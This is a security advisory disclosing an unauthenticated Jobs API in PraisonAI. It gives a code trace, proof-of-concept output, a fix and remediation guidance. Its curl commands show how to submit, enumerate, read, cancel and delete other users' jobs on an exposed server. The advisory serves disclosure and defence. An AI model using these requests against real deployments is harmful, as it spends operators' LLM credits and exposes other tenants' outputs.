GHSA-2jgc-f764-c5r2: High severity pip/PraisonAI vulnerability
Summary PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value. The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated. This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the legacy Flask server src/praisonai/apiserver.py. The fix added AUTHENABLED/AUTHTOKEN/checkauth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.
Technical Detail Source-to-sink trace The FastAPI app includes the jobs router with only CORS middleware — no auth (server.py, createapp): python src/praisonai/praisonai/jobs/server.py def createapp(store=None, executor=None, corsorigins=None) -> FastAPI: app = FastAPI(title="PraisonAI Jobs API", ...) # ... CORS middleware only (allowheaders includes "Authorization", # but CORS is not authentication) ... jobsrouter = createrouter(getstore(), getexecutor()) app.includerouter(jobsrouter) # no dependencies=[Depends(...)] The router (built inside createrouter()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization: python src/praisonai/praisonai/jobs/router.py router = APIRouter(prefix="/api/v1/runs", tags=["jobs"]) @router.post("", statuscode=202) async def submitjob(request, response, body, idempotencykey=Header(None, alias="Idempotency-Key")): ... @router.get("") async def listjobs(status=None, sessionid=None, page=1, pagesize=20): ... @router.get("/{jobid}") async def getjobstatus(jobid): ... @router.get("/{jobid}/result") async def getjobresult(jobid): ... @router.post("/{jobid}/cancel") async def canceljob(jobid): ... @router.delete("/{jobid}", statuscode=204) async def deletejob(jobid): ... @router.get("/{jobid}/stream") async def streamjob(jobid): ... submitjob() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent: python executor.py — submit() -> executejob() -> runagent() -> runpraisonaiagents() agent = Agent(instructions="You are a helpful AI assistant.", output="minimal") result = await asyncio.tothread(agent.start, job.prompt) # attacker-controlled prompt The in-memory store has no owner / principal / user concept. listjobs() returns the whole store filtered only by caller-supplied status/sessionid: python store.py async def listjobs(self, status=None, sessionid=None, limit=20, offset=0): jobs = list(self.jobs.values()) # global; no owner binding if sessionid: jobs = [j for j in jobs if j.sessionid == sessionid] ... A repository-wide grep of jobs/ for Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTHENABLED|checkauth returns only the string "Authorization" inside the CORS allowheaders list. There is no authentication primitive in the module. Distinction from CVE-2026-44338 (critical for triage) | | CVE-2026-44338 (already fixed) | This finding | |---|---|---| | Component | Legacy Flask src/praisonai/apiserver.py | FastAPI praisonai/jobs/ | | Endpoints | GET /agents, POST /chat | /api/v1/runs (submit/list/get/result/cancel/delete/stream) | | Root cause | AUTHENABLED=False, AUTHTOKEN=None, no-op checkauth() | No auth dependency, middleware, or token exists at all | | Status at 4.6.51 | Patched (auth enabled by default, token auto-generated, secrets.comparedigest) | Unpatched | The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach. Trigger conditions 1. Start the server, e.g. python -m uvicorn praisonai.jobs.server:createapp --port 8005 --factory. 2. Make it reachable (--host 0.0.0.0, container publish, reverse proxy, tunnel). 3. Send unauthenticated requests to POST/GET /api/v1/runs, GET /api/v1/runs/{id}, GET /api/v1/runs/{id}/result, POST /api/v1/runs/{id}/cancel, DELETE /api/v1/runs/{id}.
Proof of Concept Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each). Unauth POST /api/v1/runs (submit job) POST /api/v1/runs -> HTTP 202 Authorization sent: None body: {"jobid":"runde282b4c3f1c","status":"queued", ...} Unauth GET /api/v1/runs (list every job in shared store) GET /api/v1/runs -> HTTP 200 Authorization sent: None body: {"jobs":[{"jobid":"runde282b4c3f1c","status":"succeeded", ...}], "total":1, ...} Unauth GET /api/v1/runs/{id}/result (read tenant output) GET /api/v1/runs/.../result -> HTTP 200 Authorization sent: None body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...} Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job) t=0.0s status=running ... t=2.0s status=running POST /api/v1/runs/.../cancel -> HTTP 200 Authorization sent: None after cancel status=cancelled Unauth DELETE /api/v1/runs/{id} (delete terminal job) DELETE /api/v1/runs/... -> HTTP 204 Authorization sent: None Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.) Equivalent trigger in a fully installed, network-exposed deployment bash python -m uvicorn praisonai.jobs.server:createapp --host 0.0.0.0 --port 8005 --factory curl -sS -X POST http://TARGET:8005/api/v1/runs \ -H 'Content-Type: application/json' \ --data-binary '{"prompt":"attacker controlled job","timeout":3600}' curl -sS http://TARGET:8005/api/v1/runs curl -sS http://TARGET:8005/api/v1/runs/<jobid>/result curl -sS -X POST http://TARGET:8005/api/v1/runs/<jobid>/cancel curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<jobid> Impact - Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing. - Confidentiality: callers list all jobs (GET /api/v1/runs) and read completed results from the shared store — other callers' agent outputs. - Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs. Suggested Mitigation Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router: - Add a jobs-server auth token (e.g. PRAISONAIJOBSAPITOKEN) and require it on every /api/v1/runs route via a router-level dependency, so future routes inherit protection by default. - Use constant-time comparison (hmac.comparedigest / secrets.comparedigest). - Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs. - Keep 127.0.0.1 as default; warn or refuse when binding a public interface without auth configured. - Regression tests asserting unauthenticated POST / GET / cancel / delete return 401 when auth is enabled. python import hmac, os from fastapi import Depends, Header, HTTPException def verifyjobstoken(authorization: str | None = Header(None), xapikey: str | None = Header(None, alias="X-API-Key")): expected = os.getenv("PRAISONAIJOBSAPITOKEN") if not expected: raise HTTPException(401, "Jobs API auth is not configured") token = xapikey if authorization and authorization.startswith("Bearer "): token = authorization[7:] if not token or not hmac.comparedigest(token, expected): raise HTTPException(401, "Unauthorized") createrouter(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verifyjobstoken)])
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/PraisonAIto a version that resolves this vulnerability.Fixed in 4.6.58 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 4.6.34Patch GHSA-6rmh-7xcm-cpxj - Configuration
Mirror the legacy Flask auth hardening (CVE-2026-44338) in the FastAPI jobs router by adding a router-level dependency so all routes under APIRouter(prefix="/api/v1/runs") require authorization via verify_jobs_token(authorization: str | None = Header(None)).
PraisonAI FastAPI Jobs API (praisonai/jobs router) router-level dependency for auth token = require verify_jobs_token on every /api/v1/runs route - Configuration
Implement/enable verify_jobs_token so requests must include an Authorization header with prefix 'Bearer ' and the token must be validated against os.getenv("PRAISONAI_JOBS_API_TOKEN"); reject when PRAISONAI_JOBS_API_TOKEN is not set (raise HTTPException(401, "Jobs API auth is not configured")) and when comparison fails (raise HTTPException(401, "Unauthorized")).
PraisonAI FastAPI Jobs API (praisonai/jobs/ server.py) Authorization header check = Bearer <token> required (token compared to PRAISONAI_JOBS_API_TOKEN using hmac.compare_digest) - Configuration
Keep the Jobs API bound to 127.0.0.1 (do not use --host 0.0.0.0 / expose publicly) unless auth has been properly configured, since the jobs endpoints provide no authorization primitive in the unpatched state.
PraisonAI FastAPI Jobs API (praisonai/jobs) bind address = keep default loopback (127.0.0.1) when auth is not configured
Event History
Frequently Asked Questions
Who is exposed to this issue?
Instances running the FastAPI Jobs API are exposed if an untrusted caller can reach the jobs server. The default bind is 127.0.0.1, so remote exposure generally requires a public-interface bind, published container port, reverse proxy, or tunnel.
What does an attacker need to exploit it?
The attacker only needs network reachability to the Jobs API. No token, cookie, session, authentication middleware, or per-job ownership value is required.
What can an unauthenticated caller do?
An unauthenticated caller can submit agent jobs using the operator's configured LLM credentials, enumerate jobs in the shared store, read other job results, cancel running jobs, and delete terminal jobs.
What should be done if a patch cannot be applied immediately?
Prevent untrusted network access to the Jobs API. Retain the default localhost-only binding where possible and avoid exposing the service through public bindings, container port publishing, reverse proxies, or tunnels.
Does the prior legacy Flask server fix protect the Jobs API?
No. The prior fix for CVE-2026-44338 applied to the legacy Flask server in src/praisonai/api_server.py and did not modify the FastAPI Jobs API; the Jobs API remained unauthenticated at version 4.6.51.